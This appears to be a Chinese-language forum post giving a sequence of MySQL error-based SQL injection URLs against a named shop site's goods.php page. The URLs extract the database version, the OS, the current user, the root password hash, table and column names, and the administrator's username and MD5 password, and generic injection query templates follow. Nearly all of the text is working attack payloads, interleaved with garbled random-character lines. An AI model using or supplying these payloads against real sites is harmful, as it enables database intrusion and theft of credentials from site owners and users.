判断版本号
- W- ~0 x2 T# T- Z" |. ahttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ |+ _5 i! R: o- H6 A
/ u7 V$ t+ Z A# z9 Z* O判断系统
6 A6 ~9 }7 I k! Q1 q; G. a
5 o8 l. s% ]6 [7 N1 @* H, E3 Hhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
8 f: I* G& S. ^! s$ w. `, p( ~8 U; v
' T+ \* G* {6 z* d. @
/ |% Z; m/ D1 x: \当前 user()
" @, f, U# V6 W& C' l/ s/ U: N% k7 `
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
9 A- L' ?, @3 m/ q- e5 G; _4 s# l4 ~) Q! N/ C7 W0 p
$ }0 ? o( a; F' y9 ^+ C& O7 w' I. j; h- e3 u0 L
当前 database()
; R. @0 i6 Y5 F7 p4 ~http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%231 H# |2 m! j. O. y
2 M- [" p' z0 {0 I) H- ]' z% U, i, K5 l0 v$ b8 J
% y: P% s" ~* V6 A
6 n { `. v( h$ }" j8 croot hash/ \7 h- l8 g- \2 c" O& w9 g4 Y
. z- a. U" O2 K; Y! \, F; b4 A
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
. a' K k1 m! b# ]" ~' @# x, o" v
3 h: M7 v4 a c4 P, _
) R& B8 l" T) S* m6 O: h% g% o5 S% Z: A( W
当前 数据库表名! W$ I: `/ B6 a
+ ^9 {! l! |% m1 Q. K6 B" c6 s
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23/ }* X0 ^* i9 _) Y
( v0 v2 p. o. X9 ~+ V3 w* _4 C9 ]7 m( O7 [! W6 w
" d8 K! R4 ^1 f当前 数据库 user_name 字段
; p. m6 `& e) c
) ^5 a) h2 r/ {$ g# h7 z' Whttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
0 h5 r% p* ?6 t" h" Z. z7 {4 t3 u. `% F4 |' `! V/ n! s
当前 数据库 字段 password1 r0 R( j4 [# t! ^8 V" H4 n
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
7 f/ K" J6 f" S* d0 U
: p: G% |% T" M% L8 W; ^
# @8 u# j- A- S! a$ ]" M4 C' B. W
获得 admin passwd(md5) x- Q6 a: d/ A' F
% T2 V0 G% ^/ E7 _" C' M
' y" h* ?- u) l$ N( w# K: shttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
6 \* w" B9 {- K. g, s, ?8 d m2 l! N1 B+ g5 [% v4 k0 u
报错注射7 {4 c+ [( t! D
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
, C6 P& z, `+ O( f/ E, H6 Y: _! |- T& }# g9 X) |1 L" t$ V
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)! W. @; `9 U3 b! W# ]& B4 f- ^( b% ]% d
9 z ~ z) T5 M$ L1 z2 a' Eand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |